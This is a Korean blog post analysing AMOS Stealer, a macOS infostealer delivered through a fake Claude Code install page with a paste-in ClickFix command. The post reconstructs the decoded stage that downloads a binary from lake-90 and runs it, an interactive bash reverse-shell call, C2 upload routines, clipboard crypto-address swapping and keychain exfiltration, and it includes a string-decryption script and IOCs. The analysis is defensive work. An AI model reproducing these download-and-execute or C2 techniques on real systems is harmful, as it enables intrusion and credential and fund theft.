| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| 15 | 16 | 17 | 18 | 19 | 20 | 21 |
| 22 | 23 | 24 | 25 | 26 | 27 | 28 |
| 29 | 30 |
- 깃
- 악성코드 분석
- React
- 우테코
- 알고리즘
- 레나튜토리얼
- top-cert
- 프리코스
- Dreamhack
- 우아한테크코스
- c
- 리버싱
- linux
- sk 쉴더스 루키즈 31기
- 웹개발
- sk 쉴더스
- 루키즈 31기
- 예술의 전당
- sk쉴더스 루키즈
- 동적분석
- 위상 정렬
- 자바
- sk 쉴더스 루키즈
- 백엔드
- SK쉴더스루키즈
- Practical Malware Analysis Labs
- 레나 튜토리얼
- 루키즈31기
- webhacking
- 루키즈
- Today
- Total
yon11b
Claude 사칭 AMOS 악성코드 분석 보고서(REA-Ghidra 사용) 본문
분석 대상
Claude code를 사칭한 macOS 환경에서 동작하는 악성코드
- 2026-10-02-IOCs-from-AMOS-Stealer-infection.txt.zip 2.7 kB (2,569 bytes)
- 2026-10-02-AMOS-Stealer-traffic.pcap.zip 22.8 MB (22,798,871 bytes)
- 2026-10-02-AMOS-Stealer-files.zip 1.3 MB (1,256,365 bytes)
https://www.malware-traffic-analysis.net/2026/10/02/index.html
Malware-Traffic-Analysis.net - 2026-10-02: Atomic macOS (AMOS) Stealer infection from malicious ad impersonating Claude Code
2026-10-02 (FRIDAY): ATOMIC MACOS (AMOS) STEALER INFECTION FROM MALICIOUS AD IMPERSONATING CLAUDE CODE NOTICE: Zip files are password-protected. Of note, this site has a new password scheme. For the password, see the "about" page of this website. ASSOC
www.malware-traffic-analysis.net
동작 요약
1. claude macos download를 검색했는데 맨 위에 비공식 웹사이트가 뜬다.

2. 클릭해서 들어가보면 공식 사이트처럼 꾸며졌다.

3. 설치하려고 보니 명령어가 나온다. 겉으로 보기에는 정상같다.사용자가 직접 이 명령어를 터미널에 붙여넣으라는 것이다.(ClickFix 공격)

4. 하지만 복사버튼을 누른 뒤 터미널에 붙여넣어 보니 이상한 명령어가 뒤에 같이 오는 것을 확인할 수 있었다.

base64로 인코딩된 부분이 보인다. 디코딩 하면 수상한 url이 나온다.

https://lake-90[.]com/curl/ev24svgp/v6g8h7520h20csf2robk9m.json
5. 어쨌든 명령을 실행해본다. 그러면 passwd를 입력하라고 하고 여러 권한들을 허용하라고 뜬다.

이걸 허용해주면 공격자가 passwd를 획득하고, 해당 권한들도 획득하게 되는 것이다. 더 심각한 피해가 일어날 수도 있다.
이제 REA MCP를 활용한 분석을 통해 자세히 알아보자.
분석 환경
| 이름 | 참고 |
| REA | https://github.com/morluto/rea |
| Ghidra | 12.1.4_PUBLIC_20260921 |
| VMware Workstation | 26H1 |
| kali linux | 2026.2 |
| codex | GPT 6.1 Sol |
| JDK | OpenJDK 21.0.12.1 |
| node | v24.22.1 (Linux x64) |
예상 피해
| 예상 피해 | 직접 근거 |
| 사용자·시스템 정보 및 로컬 파일 노출 | PCAP ZIP의 비어 있지 않은 실제 멤버 |
| 비밀번호 형태 값의 노출 | pwd·auth.txt 해시 일치 및 HTTP 업로드 |
| 키체인 관련 자료의 외부 반출 | DB·WAL·SHM·user.kb의 업로드 |
| 원격 파일 접근·수정·추가 실행 | Bash -s 및 PTY 기반 Bash -i 기능 |
| 암호화폐 송금 목적지 변조 | 주소 분류·클립보드 교체·원격 rules |
| 재부팅·로그인 이후 악성 구성요소 유지 | launchd plist와 반복 래퍼 |
분석 내용
| 주요 발견 | 어느 원본에서 찾았는가 | 어떤 분석 결과를 확인했는가 |
| claude 설치를 사칭한 악성 스크립트 다운 | claude install cli 악성 스크립트(lake-90~~~.json) | decoded-stage2.txt 9~18행, decode-verification.json |
| 암호화된 AppleScript 포함 | zxqa03cu.bin의 x86_64 코드·내장 데이터 | zx-initializer.asm, loader-decode-manifest.json, 복원 .scpt |
| 대화형·비대화형 Bash 실행 기능 | com.apple.accountsd/AccountsHelper.bin | rea-evidence-accounts*.json, accounts-main-capstone.asm |
| 암호화폐 주소 클립보드 교체 기능 | com.apple.metadata.mds/mdworker_shared.bin | rea-evidence-mdworker.json, md-entry.asm, md-decoded-strings.json |
| 외부 ZIP 전송 | 제공 PCAP의 HTTP 요청·응답 | pcap-http-requests.tsv, pcap-stream-.bin, pcap-upload--inventory.json |
| 지속 실행 구성 | 두 plist 및 service.txt·mdworker.txt | text/의 줄 번호 사본 및 두 helper 경로 |
1. claude 설치를 사칭한 악성 스크립트 다운
1.1 1차 분석
파일 위치: text/2026-10-02-AMOS-Stealer-files/2026-10-02-AMOS-Stealer-part-01-initial-download.txt
| 줄 | 코드·문자열 | 해석 |
| 23~28 | md5, xxd, openssl, gunzip 명령 이름 조합 | 명령 이름을 분산하여 숨김 |
| 31~36 | _channel, _retry_limit 등을 이용한 산술 | 키 입력값 1728 계산 |
| 53~55 | _pack 결합, xxd -r -p, AES-128-CTR, gunzip | 암호문 결합·바이트화·복호화·압축 해제 |
| 57 | /bin/zsh -c "$_r" | 복원한 문자열을 셸 명령으로 실행하도록 구성 |



1.2 2차 분석
여기서 보이는 난독화된 코드들을 복호화 한 파일을 만들었다. > decoded-stage2.txt
| 줄 | 전체 핵심 문자열·표현 | 판단 |
| 9 | https://loop-88[.]com/api/metrics/run?event=pasted | 첫 이벤트 요청 목적지 |
| 10 | curl | 난독화된 명령 이름 |
| 11 | -X POST, user: ..., BuildID: ... | 고정 헤더를 포함한 이벤트 요청 |
| 12 | https://lake-90[.]com/f/fhi5wsf_mpmq1dks3tn4hw/oyn2lshh | 다운로드 URL |
| 13 | https://loop-88[.]com/api/metrics/run?event=stager | 후속 단계 이벤트 목적지 |
| 14 | /tmp/.zxqa03cu.$$ | printf가 생성한 임시 파일 경로; $$를 PID로 재해석하지 않음 |
| 15 | /tmp/.zxqa03cu | 최종 실행 경로 |
| 16~17 | xattr, chmod | 속성·권한 변경 명령 |
| 18 | ${h89j4} -fsSL -o ${t2uljk} ${hhd4qn} | URL 응답을 파일로 저장 |
| 18 | mv ${t2uljk} ${ejkpln} | 임시 파일을 최종 경로로 이동 |
| 18 | ${s9tdi} -c ${ejkpln} | 확장 속성 제거 |
| 18 | ${vyeu3} +x ${ejkpln} | 실행 권한 추가 |
| 18 | 마지막 && ${ejkpln} | 해당 파일 실행 시도 |
정리하면,
https://lake-90[.]com/f/fhi5wsf_mpmq1dks3tn4hw/oyn2lshh 에서 파일 다운로드를 한다.
파일 경로는 /tmp/.zxqa03cu 이다.
따라서 이제 zxqa03cu.bin 파일 분석으로 넘어가자.
2. 외부로부터 다운 받은 zxqa03cu.bin 파일 분석 (feat. AppleScript)
zxqa03cu.bin 파일 한 줄 요약: 악성 기능을 담은 AppleScript를 숨겨 두었다가 복원·실행하는 로더
| 구분 | 파일·정확한 위치 | 실제 흔적 | 연결되는 판단 |
| 원본 | zxqa03cu.bin → slices/zxqa03cu.x86_64.macho | 초기화 코드·암호문 청크 | 내장 데이터 복원 대상 |
| 어셈블리 | zx-initializer.asm 151행, 0x100016571 | call 0x10001986b | 키 유도 루틴 호출 |
| 어셈블리 | 같은 파일 459행, 0x100016ac0 | call 0x10001b18b | nonce 유도 루틴 호출 |
| 어셈블리 | 같은 파일 485행, 0x100016b41 | call 0x10001b347 | 인증 복호화 래퍼 호출 |
| 어셈블리 | 같은 파일 538행, 0x100016c1b | call 0x100019a37 | 스크립트 처리 래퍼 연결 |
| 복원 기록 | loader-decode-manifest.json 4~5행, chunks 배열 | output_sha256, output_bytes=236678, authenticated=true | 인증된 청크에서 파생 출력 생성 |
| 복원 파일 | zxqa03cu-payload.applescript.scpt의 첫 바이트 | FasdUAS 1.101.10 | 컴파일된 AppleScript 형식과 부합 |
| 확인한 내용 | 근거 |
| 실행 코드를 암호화해서 숨김 | 바이너리 내부의 암호문 청크와 복호화 함수 |
| 숨긴 AppleScript를 복원 | 107개 청크 인증 검증, 복원한 .scpt 파일 236,678바이트 |
| 복원한 스크립트를 실행하도록 구성 | 초기화 코드에서 스크립트 처리 함수 0x100019a37로 전달 |
| 환경에 따라 복원 동작이 달라질 가능성 | CPU·프로세스·시간 검사 결과를 키 관련 값에 반영 |
3. 대화형, 비대화형 Bash 실행 기능
분석 결과 정리
| 구분 | 파일·정확한 위치 | 실제 흔적 | 연결되는 판단 |
| 원본 | com.apple.accountsd/AccountsHelper.bin → AccountsHelper.x86_64.macho | 네이티브 실행 코드 | 기능의 실제 소유 파일 |
| REA 레코드 | rea-evidence-accounts.json, E9, 함수 0x100019690 | forkpty, /bin/bash, --norc, -i, 자식 프로세스 실행 | PTY를 사용하는 대화형 Bash |
| REA 레코드 | rea-evidence-accounts-followup.json, E21, 함수 0x100003899 | fork·pipe·dup2·execvp·waitpid, /bin/bash -s | 입력 스크립트 실행 및 출력 수집 |
| 메인 어셈블리 | accounts-main-capstone.asm 4630행 | 0x10000ddb6: call 0x100003899 | 비대화형 실행 함수가 메인에서 참조됨 |
| 메인 어셈블리 | accounts-main-capstone.asm 10333행 | 0x100014596: call 0x100019690 | 대화형 셸 함수가 메인에서 호출됨 |
| REA 레코드 | rea-evidence-accounts.json, E10·E11 | type/data JSON, terminal endpoint POST·응답 읽기 | 원격 터미널 관련 데이터 송수신 |
| 문자열 복원 | accounts-decoded-strings.json, generator 0x10000214f·0x100003075 등 | 199.91.221.4, /api/join/, execute;, terminal; | 통신·명령 처리 해석을 보강 |
코드 해석
| 함수·위치 | 실제 근거 | 판단 |
| 0x100019690 | forkpty 동적 해석, 자식에서 /bin/bash, bash, --norc, -i 사용 | 가상 터미널 기반 대화형 셸 기능 |
| 0x100003899 | fork·pipe·dup2·execvp·waitpid, /bin/bash -s, 스크립트 인자를 자식 stdin에 기록 | 비대화형 셸 명령 실행·출력 수집 기능 |
| 0x100028c34 | type, data JSON 생성, /ws/terminal/bot?session_id= POST, fwrite | 터미널 관련 데이터 전송 루틴 |
| 0x10002a0ee | 터미널 엔드포인트 읽기, fgets, type/data 파싱, keepalive 처리 | 원격 데이터 수신·해석 루틴 |
| 메인 0x100014596 | PTY 함수 호출 | 단순 미사용 문자열보다 강한 연결 근거 |
| 메인 0x10000ddb6·0x10000ee0d·0x10000f622 | 명령 실행 루틴 호출 | 메인 흐름과 실행 기능의 연결 |
0x100019690 함수
1. 0x66 0x6f 0x72 0x6b 0x70 0x74 0x79 → forkpty

2. 'b', 0x61, 0x73, 0x68 → bash

3. 0x2d, 0x2d, 0x6e, 0x6f, 0x72, 99 → --norc

4. 0x2d, 0x69 → -i

5. Bash 실행

해당 코드는 다음과 같다.
execl("/bin/bash", "bash", "--norc", "-i", NULL);
- --norc: .bashrc 설정 파일을 읽지 않음
- -i: 대화형 셸로 실행
0x100028c34 함수
전체적인 흐름
346~352행: {"type":"값","data":"변환된 값"} 생성
↓
359~371행: 공격자의 서버 주소·경로·세션값으로 curl 명령 조립
↓
376행: curl을 실행하고 표준 입력에 연결된 파이프 열기
↓
380행: JSON을 파이프에 기록
↓
curl의 -d @-가 이를 읽어 HTTP POST 본문으로 전송
공격자 서버 ip주소를 구하기 위한 복호화 과정

이걸 복호화 해야 한다.
복호화 스크립트
"""Analyst data-only reconstruction; never invokes target instructions."""
from pathlib import Path
import json,re,hashlib,struct
from cryptography.hazmat.primitives.ciphers import Cipher,algorithms
root=Path(__file__).resolve().parent
# Reuse explicit arithmetic/data-pattern parsers, excluding their driver.
helpers=(root/'decode_md_strings.py').read_text().split('# Assembly 0x100011ed0')[0]
ns={'__file__':str(root/'decode_md_strings.py')}
exec(compile(helpers,'analyst-pattern-helpers','exec'),ns)
b=(root/'slices/AccountsHelper.x86_64.macho').read_bytes();ns['b']=b
ds=json.loads((root/'accounts-string-dossiers.json').read_text())
def normalized(s):
s=s.replace('FUN_100001496','FUN_100000c3a').replace('FUN_10000149e','FUN_100000c46')
s=re.sub(r'~(bVar\d+)',r'(\1 ^ 0xff)',s)
s=re.sub(r'PTR_s_\w+_(100[\da-f]+)',r'PTR_DAT_\1',s)
# Ghidra sometimes writes the odd branch first; normalize branch order.
s=re.sub(r'(bVar\d+) = ([^;]+);\s*if \(\((\w+) & 1\) == 0\) \{\s*\1 = ([^;]+);\s*\}',lambda m:f'{m[1]} = {m[4]};\n if (({m[3]} & 1) != 0) {{\n {m[1]} = {m[2]};\n }}',s)
s=re.sub(r'(cVar\d+) = \1 \+ (\*pcVar\d+) \+ \'\\r\';',r"\1 = \1 + '\\r' + \2;",s)
# Represent fixed do/while data-copy loops in the parser's equivalent form.
h=s[:s.find('FUN_100000c3a')]
m=re.search(r'\} while \((lVar\d+) != (0x[\da-f]+|\d+)\);',h)
if m:
var,end=m.groups();starts=re.findall(r'\b'+var+r' = (0x[\da-f]+|\d+);',h[:h.find('do {')])
start=starts[-1] if starts else '0'
s=s.replace('do {',f'for ({var} = {start}; {var} != {end}; {var} = {var} + 0x10) {{',1)
return s
def first(v):
s=normalized(v['normalized_result']);n=int(re.search(r'FUN_100000c3a\([^,]+,(0x[\da-f]+|\d+),0\)',s).group(1),0)
return ns['stage1'](s,ns['raw'](s,n))
lut=b[0x2e620:0x2e720]
def hexdecode(a):
v=[lut[z] for z in a];assert all(z<16 for z in v)
return bytes(v[j]*16+v[j+1] for j in range(0,len(v),2))
alphabet=bytes(z^0xfb for z in hexdecode(first(ds['0x100001955'])))
s=(0x8b60ee9a+0x6319378d)&0xffffffff;v=[]
for z in [0xc8,0xbf,0x5a,3]:s=(s*0xfb2abf7d+0x3ce65711)&0xffffffff;v.append((s^z)&255)
seed=int.from_bytes(bytes(v[:2]),'little')
salt=struct.pack('<IIIIQQ',0x11fbc52d,0x20092d0c,0xf2d20503,0xb61c20fb,0x8e66c68f70cee9fe,0xdee2f5d7619f9f4b)
key=hashlib.pbkdf2_hmac('sha256',seed.to_bytes(4,'big')+bytes(32),salt,0x14722,32)
asm=(root/'accounts-main-capstone.asm').read_text()
rows=[]
for ptr,dossier in ds.items():
if ptr=='0x100001955':continue
try:
m=re.search(r'call '+ptr+r'\n',asm);segment=asm[m.end():m.end()+7000]
extra=int(re.search(r'add bpl, (0x[\da-f]+|\d+)',segment).group(1),0)
nval=int(re.search(r'mov dword ptr \[rbx \+ 8\], (0x[\da-f]+|\d+)',segment).group(1),0)
raw=bytes(z^((seed+extra)&255) for z in hexdecode(first(dossier)))
nonce=struct.pack('<QI',0xf640ce7af92e94c8,nval)
raw=Cipher(algorithms.ChaCha20(key,bytes(4)+nonce),mode=None).decryptor().update(raw)
out=bytearray()
for j in range(0,len(raw),4):
acc=0;bits=0
for z in raw[j:j+4]:
if z in alphabet:acc=acc<<6|alphabet.index(z);bits+=6
while bits>=8:bits-=8;out.append((acc>>bits)&255)
text=out.decode();assert all(c.isprintable() or c in '\n\r\t' for c in text)
rows.append(dict(generator=ptr,evidence_id=dossier['evidence_id'],text=text))
except Exception as e:rows.append(dict(generator=ptr,error=str(e)))
(root/'accounts-decoded-strings.json').write_text(json.dumps(dict(seed=seed,strings=rows),indent=2)+'\n')
for r in rows:print(r)
추가로, 캡처에서도 같은 IP를 확인할 수 있다.
pcap-stream-34-10.10.2.178.bin에는 다음 요청이 있습니다.
POST /api/join/ HTTP/1.1
Host: 199.91.221.4
따라서 복원 문자열의 IP와 실제 캡처 목적지가 일치하다는 것을 검증했다.
발견한 IoC
http://199.91.221.4, gorbit39.com, /api/join/, /api/tasks/, execute;, repeat;, terminal;, delete, pong
상세 내용
1. curl 명령어 확인

0230 | local_d8 = 99; // c
0231 | local_d7 = 0x75; // u
0232 | local_d6 = 0x72; // r
0233 | local_d5 = 0x6c; // l
붙이면 curl이다.
368행에서 이 문자열을 가져와 명령을 조립하고, 376행에서 실행합니다.
0368 | FUN_1000036a2(local_128,&local_d8);
...
0376 | pFVar2 = _popen(pcVar1,"w");
2. /ws/terminal/bot?session_id=


이게 나중에 http://199.91.221.4/ws/terminal/bot?session_id=세션값 로 조립이 된다. (이 파일에서는 ip주소가 평문으로 나오지 않는다. 따라서 199.91.221.4을 구하기 위해서는 복호화 해주어야 한다.)
3. -X POST

4. fwrite()

4. 암호화폐 주소 클립보드 교체 기능
분석 결과 정리
| 구분 | 파일·정확한 위치 | 실제 흔적 | 연결되는 판단 |
| 원본 | com.apple.metadata.mds/mdworker_shared.bin → mdworker_shared.x86_64.macho | 네이티브 실행 코드 | 기능의 실제 소유 파일 |
| 문자열 복원 | md-decoded-strings.json index 56~62 | NSPasteboard, generalPasteboard, changeCount, stringForType:, clearContents, setString:forType:, NSPasteboardTypeString | 클립보드 읽기·쓰기 API 후보 |
| REA 레코드 | rea-evidence-mdworker.json, E15, 0x1000192f6 | pasteboard 문자열과 변경 횟수 읽기 | 읽기 구현 확인 |
| REA 레코드 | 같은 파일 E17, 0x10001a5cb | 주소 길이·접두사·체크섬 검사 | 주소 유형 판별 구현 |
| REA 레코드 | 같은 파일 E16, 0x10001cfec | clearContents 후 인자 문자열로 setString:forType: | 교체 구현 확인 |
| 메인 어셈블리 | md-entry.asm 5823행 | 0x10000e129: CALL 0x1000192f6 | 읽기 연결 |
| 메인 어셈블리 | md-entry.asm 6449행 | 0x10000ed35: CALL 0x10001a5cb | 분류 연결 |
| 메인 어셈블리 | md-entry.asm 6751행 | 0x10000f2c4: CALL 0x10001cfec | 쓰기 연결 |
| 원격 규칙 | 스트림 38의 서버 응답 및 함수 0x100015de2, E20 | chain/address 쌍, rules 처리 | 교체 주소를 원격 설정하는 해석 보강 |
코드 해석
| 함수·호출 지점 | 정확한 근거 | 판단 |
| 0x100018753 | NSPasteboard, generalPasteboard, changeCount, stringForType:, clearContents, setString:forType:, NSPasteboardTypeString | 클립보드 API 초기화 [E14] |
| 0x1000192f6 | 일반 pasteboard 문자열과 변경 횟수 읽기 | 클립보드 읽기 [E15] |
| 0x10001a5cb | 길이·접두사·체크섬 기반 주소 분류 | 암호화폐 주소 판별 [E17] |
| 0x10001cfec | 내용 지우기, UTF-8 인자로 NSString 생성, setString:forType: 호출 | 전달받은 텍스트로 클립보드 쓰기 [E16] |
| 메인 0x10000e129 → 0x10000ed35 → 0x10000f2c4 | 읽기 → 분류 → 교체 함수 호출 | 교체 흐름 연결 [E13, E18] |
| 0x100015de2 | 원격 rules의 주소 유형 검증 및 유형별 저장소 갱신 | 외부 주소 규칙 반영 [E20] |
IoC
http://193.233.210.226/api/feed/register, /api/feed/items/, /api/feed/read/, /api/feed/content/, HTTPS 대체 도메인 ichargeme.com
0x100018753
원본 JSON: rea-evidence-mdworker.json

0x3d == 61 (10진수)
index: 61
문자값 산술 변환·XOR, 사용자 정의 인코딩, PBKDF2/ChaCha20 등을 거쳐 문자열을 복원
복호화 JSON: md-decoded-strings.json


5. 외부로 ZIP 파일 유출
| 구분 | 파일·정확한 위치 | 실제 흔적 | 연결되는 판단 |
| 원본 기록 | 2026-10-02-AMOS-Stealer-traffic.pcap | 프레임 3015·3157·6295 | 과거 전송 기록의 출처 |
| 요청 색인 | pcap-http-requests.tsv 9·11·13행 (헤더 포함) | POST /contact, 152.42.143.45, stream 21·25·29 | 전송 대상·요청·스트림 식별 |
| 재조립 요청 | pcap-stream-21/25/29-10.10.2.178.bin | HTTP 헤더·multipart·ZIP 바이트 | 목록만이 아닌 전송 바이트 보존 |
| 재조립 응답 | pcap-stream-21/25/29-152.42.143.45.bin | HTTP 200 OK 및 응답 OK | 캡처 내 상대방의 응답 |
| 추출 ZIP | pcap-upload-21.zip·25.zip·29.zip | 재조립 본문에서 추출한 압축파일 | 전송 내용 대조 대상 |
| 업로드 목록 | pcap-upload-29-inventory.json 4행 | POST /contact, Host, Content-Length=3072906 | HTTP 본문 길이·형식 |
| 업로드 목록 | 같은 파일 33행의 pwd 객체 | size=9, auth.txt와 같은 SHA-256 | 비밀번호 형태 값의 전송 |
| 업로드 목록 | 같은 파일 147행의 keychain-2.db 객체 | 크기·해시가 기록된 비어 있지 않은 DB | 키체인 DB 바이트 포함 |
ZIP 자체 크기는 3,072,183바이트이다.
공격자의 요청
출처: pcap-http-requests.tsv, pcap-stream-manifest.json, pcap-upload-21/25/29-inventory.json
| 프레임 | 스트림 | 목적지·요청 | HTTP 본문 길이 | 관찰 |
| 3015 | 21 | 152.42.143.45, POST /contact | 4,069 | ZIP 포함 multipart 업로드 |
| 3157 | 25 | 152.42.143.45, POST /contact | 4,411 | pwd를 포함한 ZIP 업로드 |
| 6295 | 29 | 152.42.143.45, POST /contact | 3,072,906 | 키체인 파일·PNG 등을 포함한 ZIP 업로드 |
| 8587 | 34 | 199.91.221.4, POST /api/join/ | 75 | helper 등록; 세션 파일과 응답 일치 |
| 8836 | 37 | 193.233.210.226, POST /api/feed/register | 58 | clipboard helper 등록; UID 파일과 일치 |
| 8846 | 38 | 193.233.210.226, GET /api/feed/items/… | — | 원격 주소 규칙 응답 |
| 27884 | 150 | 199.91.221.4, GET /api/tasks/… | — | 응답 pong; 유해 명령 실행 증거 아님 |




ZIP 내부 파일
| ZIP 내부 자료 | 비압축 크기 | 파일 내용 |
| info | 1,338바이트 | 호스트 정보 자료 포함 |
| username | 14바이트 | 사용자 식별 자료 포함 |
| FileGrabber/zsh_history | 88바이트 | 셸 이력 포함 |
| pwd (스트림 25·29) | 9바이트 | auth.txt와 동일 SHA-256; 비밀번호 형태 값의 전송 |
| processes.txt | 142,229바이트 | 프로세스 목록 자료 포함 |
| installedSoft | 42바이트 | 설치 소프트웨어 관련 자료 포함 |
| keychain-2.db | 1,454,080바이트 | 키체인 DB 바이트 포함; 복호화 성공 아님 |
| keychain-2.db-wal | 1,128,912바이트 | 연관 WAL 포함 |
| keychain-2.db-shm | 32,768바이트 | 연관 SHM 포함 |
| user.kb | 1,572바이트 | 키체인 관련 자료 포함 |
| Screenshot … .png 5개 | 각각 비어 있지 않음 | 이름상 스크린샷 PNG 포함; 직접 화면 캡처 API 호출 증거 아님 |






IoC
| 주소 | 역할 | 확인 수준 |
| 152.42.143.45 | ZIP 유출·이벤트 수신 | PCAP 확인 |
| 199.91.221.4 | AccountsHelper 등록·작업 조회 | 코드·PCAP 확인 |
| 193.233.210.226 | 클립보드 변조 프로그램 등록·주소 규칙 제공 | 코드·PCAP 확인 |
| claude-desk-code[.]com | 가짜 Claude 설치 페이지 | 게시자 기록 |
| lake-90[.]com | 스크립트·실행 파일 배포 | 코드·게시자 기록 |
| loop-88[.]com | 공격 단계 이벤트 수신 | 코드 확인 |
| gorbit39[.]com | AccountsHelper 대체 주소 | 복원 문자열 |
| ichargeme[.]com | 클립보드 변조 프로그램 대체 주소 | 복원 문자열 |
| delta-canvas[.]com | 감염 후 HTTPS 목적지 | 게시자 기록, 역할 미확인 |
전체 IoC





최종 공격 흐름도

'보안 > 리버싱' 카테고리의 다른 글
| TOKYOCORE 랜섬웨어 동적 분석 (0) | 2026.08.05 |
|---|---|
| [Lena Reversing] 8번-Artgem 초스피드 크랙!(배운 것 응용해보기) (1) | 2026.07.05 |
| 대구·경북 사이버공격 방어대회 2026 예선전 reversing 문제(UNSAT) (0) | 2026.06.15 |
| [Lena Reversing] 6번-PC 설젼 체험판(델파이 프로그램) (0) | 2026.06.13 |
| [Lena Reversing] 5번-VisualSite Designer 체험판 크랙하기 (0) | 2026.06.07 |